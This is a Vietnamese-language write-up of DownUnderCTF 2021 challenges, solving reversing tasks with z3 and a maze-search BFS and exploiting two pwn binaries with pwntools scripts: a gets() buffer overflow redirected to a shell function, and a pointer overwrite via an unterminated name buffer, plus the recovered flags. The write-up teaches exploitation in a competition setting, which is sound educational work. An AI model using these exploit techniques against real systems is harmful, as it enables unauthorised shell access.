DownUnderCTF 2021

Overview

Write ups

1. No strings - Reversing

Bài này khá đơn giản, follow theo đề xem qua các chuỗi có trong file đã cho (có thể dùng strings của linux thay vì trâu bò IDA :) )

flag: DUCTF{stringent_strings_string}

2. Flag loader - Reversing

Nhận xét chung về bài này thì khá là tốn thời gian cho việc nghĩ làm sao cho nó chạy >>> chạy xong thì hết giờ :) Cũng là lần đầu đụng tới cái z3 để giải mấy bài toán tìm nghiệm, mất đâu đó hết nửa ngày để debug…

Sau khi bỏ vào IDA, ta có hàm main sau khi đã disassemble như sau:

Tổng quan những thứ trong hàm này là chạy 3 hàm check (check1, check2, check3), lấy giá trị trả về của từng hàm (v4, v5, v6) nhân lại để sleep (sleep khá lâu đây <(“)) sau đó là trả về flag cho người dùng.

Ngó qua hàm init()

Chương trình đã được set alarm ở 0x3C = 60s >>> Phiên hoạt động phải xong trước 60s, hay nói cách khác là làm sao vừa chạy được hết 3 cái check kia và vừa in ra flag kịp giờ, v4 * v5 * v6 < 60 :))

Xem qua hàm check1():

Tổng quan về hàm này là sẽ đưa cho chương trình 5 ký tự, xor chuỗi vừa nhập với mảng X cộng tổng vào biến v1, lấy tích với biến đếm i vào biến v2. Nếu sau vòng lặp mà v1 khác 0 hoặc v2 bằng 0 thì sẽ kết thúc chương trình >>> phải tìm cách né cái này.
Sau khi follow mảng X này ta được giá trị như sau
X[] = {'D', 'U', 'C', 'T', 'F'}

Theo phép xor thì chỉ cần xor với chính nó = 0 >>> chuỗi nhập vào là “DUCTF” thì có thể pass được ?

┌──(meka㉿meka)-[~/ductf]
└─$ ./flag_loader
Give me five letters: DUCTF
You failed the check! No flag for you :(

Tất nhiên không dễ như vậy rồi :)
Sau khi debug chương trình thì mình thấy được cái v2 sẽ = 0 nếu nhập y nguyên, nên ta sẽ sửa 1 tí bằng cách lấy “nhẹ” 1 chữ và bù “nhẹ” 1 chữ…
0 + 0 + 0 + 0 + 0 = 0 + -1 + 0 + 1 + 0 = 0

Ở đây thì mình sẽ bớt chữ U đi 1 và cộng thêm 1 cho chữ T (range 8 bit)

1
2
3
4
'U' = 0x55
'U' ^ a = -1 = 0xFF => a = 0x55 ^ 0xFF = 0xAA
'T' = 0x54
'T' ^ b = 1 = 0x01 => b = 0x54 ^ 0x01 = 0x55

Kết quả:

Script cho màn 1 này

1
2
p.recvuntil(b"Give me five letters: ")
p.sendline(b"\x44\xaa\x43\x55\x46")

Vậy là xong được check1 và ghi điểm cho mình 128s vào hàm sleep <(“), thực ra lúc đầu mình nghĩ là phải làm sao cho số này càng nhỏ càng tốt, nhớ mang máng cỡ 40s nhưng tới 2 check sau bất khả thi quá nên mới phải nghĩ cách sau:

Như đã thấy ở hàm main, v4, v5, v6 đều là biến int (32 bit), giá trị trả về của check1 tối đa có 8 bit, của check2, check3 là 16 bit (sẽ nói ở phần sau) nên ta sẽ có ý tưởng overflow 32 bit như sau:

Ta đã biết v4 = 128 = 2 ^ 7
Và mục tiêu là giảm thiểu thời gian sleep tối đa (ở đây là 0 luôn cho tiện)
Nên mục tiêu sẽ là v4 * v5 * v6 = 2 ^ 32 = 0
Suy ra v5 * v6 = 2^25, chọn v5 = 2 ^ 12, v6 = 2 ^ 13

Hàm check2

Tổng quan về hàm này sẽ là đưa cho 1 số bất kỳ, tìm cặp (x,y) sao cho thoả các điều kiện
Nhét vào z3 và giải thôi :))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
p.recvuntil(b"Solve this: x + y = ")
num = int(p.recvline().strip())

from z3 import *
x, y = BitVecs("x y", 32)
o = Solver()
# Ở đây không nhét điều kiện x > num & y > num cho đơn giản
o.add(x != 0)
o.add(y != 0)
o.add(x + y == num)
o.add((x * y) % (2 ** 16) == (2**12))

o.check()
f = o.model()

x1 = f[x].as_long()
x2 = f[y].as_long()
p.sendline(str(x1).encode() + b' ' + str(x2).encode())

Hàm check3

Tương tự, ta cũng có:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
a, b, c, d, e = BitVecs("a b c d e", 32)
o2 = Solver()
p.recvuntil(b"Now solve this: x1 + x2 + x3 + x4 + x5 = ")
num = int(p.recvline().strip())

o2.add(a > 0)
o2.add(b > 0)
o2.add(c > 0)
o2.add(d > 0)
o2.add(e > 0)
o2.add(a < b)
o2.add(b < c)
o2.add(c < d)
o2.add(d < e)
o2.add(a + b + c + d + e == num)
o2.add((c - b) * (e - d) % (2**16) == 2**13)

o2.check()
f = o2.model()

x1 = f[a].as_long()
x2 = f[b].as_long()
x3 = f[c].as_long()
x4 = f[d].as_long()
x5 = f[e].as_long()

p.sendline(str(x1).encode() +
b' ' + str(x2).encode() +
b' ' + str(x3).encode() +
b' ' + str(x4).encode() +
b' ' + str(x5).encode())

Kết quả:

[+] Opening connection to pwn-2021.duc.tf on port 31919: Done
[*] Switching to interactive mode
You've passed all the checks! Please be patient as the flag loads.
Loading flag... (this may or may not take a while)
DUCTF{y0u_sur3_kn0w_y0ur_int3gr4l_d4t4_typ3s!}

flag:DUCTF{y0u_sur3_kn0w_y0ur_int3gr4l_d4t4_typ3s!}

3. Connect the dots - Reversing

Bài này thì tốn sương sương có một ngày <(“) nguyên nhân chính là sài cái extract data IDA ko quen nên mảng lỗi chỗ nọ chỗ kia >>> giải sai hướng phải quay xe mấy lần.

Sau khi bỏ vào IDA, hàm main như sau:

Tổng quan ở hàm này là sẽ nhập 1 chuỗi từ người dùng, độ dài tối đa là 0xDEF = 3567, chuỗi sau đó sẽ qua hàm sub_11E0 xử lý và đem xor lại với một mảng khác và in ra màn hình. Dự đoán ban đầu của mình là chuỗi kết quả sẽ được in ra nên không cần quan tâm khúc xor kia.

Hàm sub_11E0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
__int64 __fastcall sub_11E0(char *a1)
{
char *v1; // rax
int v2; // eax
__int64 result; // rax
char *v4; // [rsp+8h] [rbp-58h]
int v5; // [rsp+14h] [rbp-4Ch]
int v6; // [rsp+18h] [rbp-48h]
int v7; // [rsp+1Ch] [rbp-44h]
unsigned int v8; // [rsp+24h] [rbp-3Ch]
int v9[8]; // [rsp+30h] [rbp-30h]
unsigned __int64 v10; // [rsp+58h] [rbp-8h]

v4 = a1;
v10 = __readfsqword(0x28u);
v5 = 0;
v6 = 0;
v9[0] = -1;
v9[1] = -1;
v9[2] = -1;
v9[3] = -1;
v9[4] = -1;
v9[5] = -1;
v9[6] = -1;
v9[7] = -1;
v7 = 0;
while ( 2 )
{
if ( !*v4 )
sub_1179();
v1 = v4++;
switch ( *v1 )
{
case 'h':
if ( dword_4080[v6] & 1 )
sub_1179();
--v6;
continue;
case 'j':
if ( dword_4080[v6] & 2 )
sub_1179();
v6 += 60;
continue;
case 'k':
if ( dword_4080[v6] & 8 )
sub_1179();
v6 -= 60;
continue;
case 'l':
if ( dword_4080[v6] & 4 )
sub_1179();
++v6;
continue;
case 'x':
if ( !(dword_4080[v6] & 0x80) )
sub_1179();
v8 = (dword_4080[v6] >> 4) & 7;
if ( (int)sub_1196(v9, 8LL, v8) >= 0 )
sub_1179();
v2 = v7++;
v9[v2] = v8;
v5 = (unsigned __int8)dword_4060[v8] ^ (dword_4060[v8] >> 8) & v5;
if ( v7 != 8 )
continue;
if ( v5 != 255 )
sub_1179();
return 1LL;
default:
sub_1179();
return result;
}
}
}

Sau khi kiểm thử hàm sub_1196 thì đây chỉ là hàm báo sai và kết thúc chương trình

Hàm sub_1196:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall sub_1196(int *a1, int a2, int a3)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i < a2; ++i )
{
if ( a3 == a1[i] )
return (unsigned int)i;
}
return 0xFFFFFFFFLL;
}

Ở hàm này sẽ chỉ check xem phần tử a3 có trong mảng không, nếu đúng thì trả về giá trị âm

Quay lại với hàm sub_11E0, trong block while, ta thấy v1 = v4++ nên từng ký tự của chuỗi ban đầu nhập vào sẽ được duyệt đến hết, mỗi ký tự sẽ là một trong số "hjklx".

Trong 4 cases đầu, ta thấy biến v6 được thêm bớt đi 1 hoặc 60, bằng biện pháp nghiệp vụ của mình thì chắc chắn đây là điều hướng trong mảng 2 chiều có 60 cột :))
Kiểm tra số lượng phần tử của mảng thì có 3600 >>> Ma trận vuông 60 x 60
Với ‘h’ là qua trái, ‘j’ xuống, ‘k’ lên, ‘l’ phải. Các hướng di chuyển bị cấm thì phụ thuộc vào 4 bit cuối của dword_4080[v6] (&1, &2, &4, &8).
Ở trường hợp ‘x’ thì sẽ kiểm tra bit thứ 7 (&0x80)

1
v8 = (dword_4080[v6] >> 4) & 7; // Tương đương (dword_4080[v6] >> 4) % 8

Sau đó kiểm tra v8 có trong v9 chưa với sub_1196 sau đó gán vào v9, mỗi lần thành công tăng biến v7 lên và kiểm đến khi v7 == 8

Ta rút ra được kết luận là sẽ có một map 60x60 giá trị, cần phải đi qua 8 điểm đặc biệt để có thể hoàn thành challenge.

Dump mảng và bắt đầu code thôi :))

Ở đoạn code sau thì mình sẽ lấy thông tin quan trọng về các hướng có thể đi được ở từng ô + những điểm đặc biệt lưu ra file:

solve1.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <iostream>
#include <vector>
using namespace std;
int map[3600] = {11, 10, 12, 9, 10, 10, 8, ...};

int main()
{
cout << sizeof(map)/sizeof(map[0]) << endl;
vector<vector<int>> saved;

for(int i = 0; i < 60; i++) {
for(int j = 0; j < 60; j++) {
if(map[i * 60 + j] & 0x80)
{
saved.push_back({i, j, map[i * 60 + j]});
cout << "x";
}
if(!(map[i * 60 + j] & 8))
cout << "^";
if(!(map[i * 60 + j] & 4))
cout << ">";
if(!(map[i * 60 + j] & 2))
cout << "v";
if(!(map[i * 60 + j] & 1))
cout << "<";
cout << "\t";
}
cout << endl;
}
for(auto i : saved) {
cout << i[0] << " " << i[1] << " " << i[2] << endl;
}
return 0;
}

Kết quả (đã lược bớt khúc trên)

Vậy là có 8 điểm {11, 15}, {20, 35}, {24, 18}, {28, 54}, {35, 11}, {39, 34}, {48, 57}, {59, 45}. Tính giá trị của từng ô với (dword_4080[v6] >> 4) & 7; thì có giá trị lần lượt là 0, 1, 2, 3, 4, 5, 6, 7 -> đặt tên đỉnh theo thứ tự này luôn.

Bình thường thì chỉ cần tìm đường đi qua 8 đỉnh này là xong, nhưng vấn đề là qua theo thứ tự nào… Ở hàm sub_11E0:

1
2
3
4
v5 = (unsigned __int8)dword_4060[v8] ^ (dword_4060[v8] >> 8) & v5;
...
if ( v5 != 255 )
sub_1179();

Như vậy v5 quyết định thứ tự cho việc này. Ta có dword_4060[] = {65407, 60999, 31620, 5074, 27425, 53858, 20942, 3721}; Nhờ được ông @hungt1 brute force cho đoạn này nên có thứ tự các đỉnh là 6 -> 3 -> 7 -> 5 -> 1 -> 4 -> 0 -> 2

Code thôi :))

solve2.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <fstream>
#include <vector>
#include <string>
#include <iostream>
#include <algorithm>
using namespace std;

vector<vector<string>> ARR(60, vector<string>(60));
vector<vector<bool>> CHECK(60, vector<bool>(60));

string path = "";

string global = "";

// Thêm đỉnh (0, 0) ở vị trí bắt đầu
int data[][2] = {
{0, 0},
{11, 15},
{20, 35},
{24, 18},
{28, 54},
{35, 11},
{39, 34},
{48, 57},
{59, 45}
};

void BFS(int i_from, int j_from, int i_to, int j_to, string temp = "") {
if(i_from == i_to && j_from == j_to) {
if(global == "")
global = temp;
else
global = temp.size() < global.size() ? temp : global;
return;
}

if(i_from < 0
|| i_from >= 60
|| j_from < 0
|| j_from >= 60
|| CHECK[i_from][j_from] == true)
return;

auto st = ARR[i_from][j_from];
CHECK[i_from][j_from] = true;
if(st.find('>') != string::npos) {
BFS(i_from, j_from + 1, i_to, j_to, temp + "l");
}
if(st.find('<') != string::npos) {
BFS(i_from, j_from - 1, i_to, j_to, temp + "h");
}
if(st.find('^') != string::npos) {
BFS(i_from - 1, j_from, i_to, j_to, temp + "k");
}
if(st.find('v') != string::npos) {
BFS(i_from + 1, j_from, i_to, j_to, temp + "j");
}
CHECK[i_from][j_from] = false;
}

int main()
{
// File này chỉ gồm có các ký tự điều hướng lấy từ trên
ifstream ifs("input.txt");

for(int i = 0; i < 60; i++)
for(int j = 0; j < 60; j++)
ifs >> ARR[i][j];

// 6 -> 3 -> 7 -> 5 -> 1 -> 4 -> 0 -> 2
int pp[] = {0, 7, 4, 8, 6, 2, 5, 1, 3};

for(int i = 0; i < 8; i++) {
global = "";
BFS(data[pp[i]][0],data[pp[i]][1],data[pp[i + 1]][0],data[pp[i+1]][1]);
path += global + "x";
}

cout << path.length() << " " << path;
}

Kết quả:

1
3566 lljhjjljljll...

Độ dài vừa khít với buffer :)) bỏ vào chương trình và lấy flag thôi
DUCTF{bfs_dfs_ffs_no_more_mazes_a8fb66c12cd}

4. OutBackdoor - Pwn

Ta có hàm main như sau:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]

buffer_init(argc, argv, envp);
puts("\nFool me once, shame on you. Fool me twice, shame on me.");
puts("\nSeriously though, what features would be cool? Maybe it could play a song?");
gets(&v4);
return 0;
}

Hàm gets không kiểm tra số lượng đọc vào >>> buffer overflow. Biến v4 ở vị trí $rbp-10h, suy ra offset là 0x10 + 8 = 24

Kiểm tra sơ bộ file:

┌──(meka㉿meka)-[~/ductf]
└─$ checksec ./outBackdoor
[*] '/home/meka/ductf/outBackdoor'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Bit NX đã được bật nên không thể áp shellcode vào được, xem qua danh sách function thì thấy có hàm outBackdoor:

1
2
3
4
5
int outBackdoor()
{
puts("\n\nW...w...Wait? Who put this backdoor out back here?");
return system("/bin/sh");
}

Do PIE không được bật nên này là điển hình của dạng bài ret2ret luôn rồi :))

Dùng objdump để tìm địa chỉ của hàm này:

➜  objdump -d outBackdoor| grep outBackdoor
outBackdoor: file format elf64-x86-64
00000000004011d7 <outBackdoor>:

Có địa chỉ 0x4011d7, overwrite thử $rip:

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process("./outBackdoor")

p.sendline(
fit(
{24 : p64(0x4011d7)}
)
)

p.interactive()

Kết quả:

[+] Starting local process './outBackdoor': pid 1948
[*] Switching to interactive mode

Fool me once, shame on you. Fool me twice, shame on me.

Seriously though, what features would be cool? Maybe it could play a song?


W...w...Wait? Who put this backdoor out back here?
$ pwd
/home/m3k4/ctf

Vậy là chạy local được nhưng server thì gặp lỗi EOF, xem lại code ở hàm outBackdoor có:

1
return system("/bin/sh");

Có thể hàm system bị return quá sớm >>> ngắt ở server. Dùng ROPgadget, tìm được gadget 0x401016 : ret phù hợp cho việc này.
Quá trình attack diễn ra như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = process("./outBackdoor")
p = remote("pwn-2021.duc.tf", 31921)

RET_addr = 0x401016
outBackdoor_addr = 0x4011d7

p.sendline(
fit(
{24 : p64(RET_addr) + p64(outBackdoor_addr)}
)
)

p.interactive()
[+] Starting local process './outBackdoor': pid 2404
[+] Opening connection to pwn-2021.duc.tf on port 31921: Done
[*] Switching to interactive mode

Fool me once, shame on you. Fool me twice, shame on me.

Seriously though, what features would be cool? Maybe it could play a song?


W...w...Wait? Who put this backdoor out back here?
$ cat flag.txt
DUCTF{https://www.youtube.com/watch?v=XfR9iY5y94s}

flag: DUCTF{https://www.youtube.com/watch?v=XfR9iY5y94s}

5. babygame - Pwn

Trước tiên là decompile hàm main

main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
puts("Welcome, what is your name?");
read(0, NAME, 0x20uLL);
RANDBUF = "/dev/urandom";
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = get_num();
if ( v3 != 1337 )
break;
game();
}
if ( v3 > 1337 )
{
LABEL_10:
puts("Invalid choice.");
}
else if ( v3 == 1 )
{
set_username();
}
else
{
if ( v3 != 2 )
goto LABEL_10;
print_username();
}
}
}

Kiểm tra thử biến NAME

1
2
3
4
5
6
7
.bss:00000000000040A0 ; char NAME[32]
.bss:00000000000040A0 NAME db 20h dup(?) ; DATA XREF: main+26↑o
.bss:00000000000040A0 ; set_username+1F↑o ...
.bss:00000000000040C0 public RANDBUF
.bss:00000000000040C0 ; char *RANDBUF
.bss:00000000000040C0 RANDBUF dq ? ; DATA XREF: main+41↑w
.bss:00000000000040C0 ; game+17↑r

Ta thấy có vấn đề như sau: read(0, NAME, 0x20uLL); đọc vào tối đa 32 bytes, nhưng nếu đọc hết 32 bytes thì NAME có thể không kết thúc bằng \0, dẫn đến việc lấn sang con trỏ RANDBUF trong memory.

game
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 game()
{
FILE *stream; // [rsp+8h] [rbp-18h]
char ptr[4]; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
stream = fopen(RANDBUF, "rb");
fread(ptr, 1uLL, 4uLL, stream);
printf("guess: ");
if ( get_num() == *(_DWORD *)ptr )
system("/bin/sh");
return v3 - __readfsqword(0x28u);
}

Tổng quan thì hàm này sẽ đọc 4 bytes từ file mở từ đường dẫn RANDBUF (Được gán “/dev/urandom” ở hàm main) và so với một con số được đọc từ bàn phím, nếu đoán đúng thì sẽ chạy system(“/bin/sh”) để lấy flag.

set_username
1
2
3
4
5
6
7
8
9
10
size_t set_username()
{
FILE *v0; // rbx
size_t v1; // rax

puts("What would you like to change your username to?");
v0 = stdin;
v1 = strlen(NAME);
return fread(NAME, 1uLL, v1, v0);
}

Ở hàm này có một vấn đề là nó sẽ đọc một string có độ dài nhỏ hơn hoặc bằng string ban đầu với strlen thay vì read hẳn 32 bytes, cộng với vấn đề đã nói ở trên thì biến RANDBUF sẽ là mục tiêu bị đổi :)).

Ở hàm print_username() chỉ đơn giản là in biến NAME ra màn hình.

Vậy nếu thay đổi được RANDBUF thì sẽ thay đổi thành gì ? ở hàm game sẽ đọc file và lấy 4 bytes đầu >>> để đoán được thì RANDBUF cần trỏ tới đường dẫn tới một file static (“/bin/sh”) do header của elf luôn giữ nguyên

Kiểm tra địa chỉ của string /bin/sh và /dev/urandom

1
2
.rodata:0000000000002024 aDevUrandom     db '/dev/urandom',0     ; DATA XREF: main+3A↑o
.rodata:00000000000020A3 command db '/bin/sh',0 ; DATA XREF: game+7D↑o

Như vậy thì 2 biến này chỉ khác nhau ở byte đầu tiên (0x24 và 0xA3), nằm trong 0x100 nên bypass aslr được.

Vậy quá trình attack sẽ như sau:
Fill biến NAME với 32 ký tự bất kỳ >>> Print name để leak địa chỉ của chuỗi “/dev/urandom” >>> set name để sửa lại 1 byte >> gọi hàm game và điền số đã biết vào.

Header của file elf sẽ là 7F 45 4c 46, đọc theo little endian sẽ là 46 4c 45 7f, chuyển về số nguyên: 1179403647.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

#p = process('./babygame')
p = remote("pwn-2021.duc.tf", 31907)

# Fill NAME
p.recvline()
p.sendline(b'A' * 32)
p.recvuntil(b'> ')
p.recvuntil(b'> ')

# Leak RANDBUF address
p.sendline(b'2')
leak = p.readline()[32:-1] # Leave last character
binsh = b'\xa3' + leak[1:]
print(binsh)

# Rewrite RANDBUF address
p.recvuntil(b'> ')
p.sendline(b'1')
p.sendline(b'A' * 32 + binsh)

# Call game
p.recvuntil(b'> ')
p.sendline(b'1337')

# Magic number
p.sendline(b'1179403647')

p.interactive()
[+] Opening connection to pwn-2021.duc.tf on port 31907: Done
b'\xa3 \xd6\xdb\xfbU'
[*] Switching to interactive mode
Invalid choice.
1. Set Username
2. Print Username
> guess: $ cat flag.txt
DUCTF{whats_in_a_name?_5aacfc58}

flag: DUCTF{whats_in_a_name?_5aacfc58}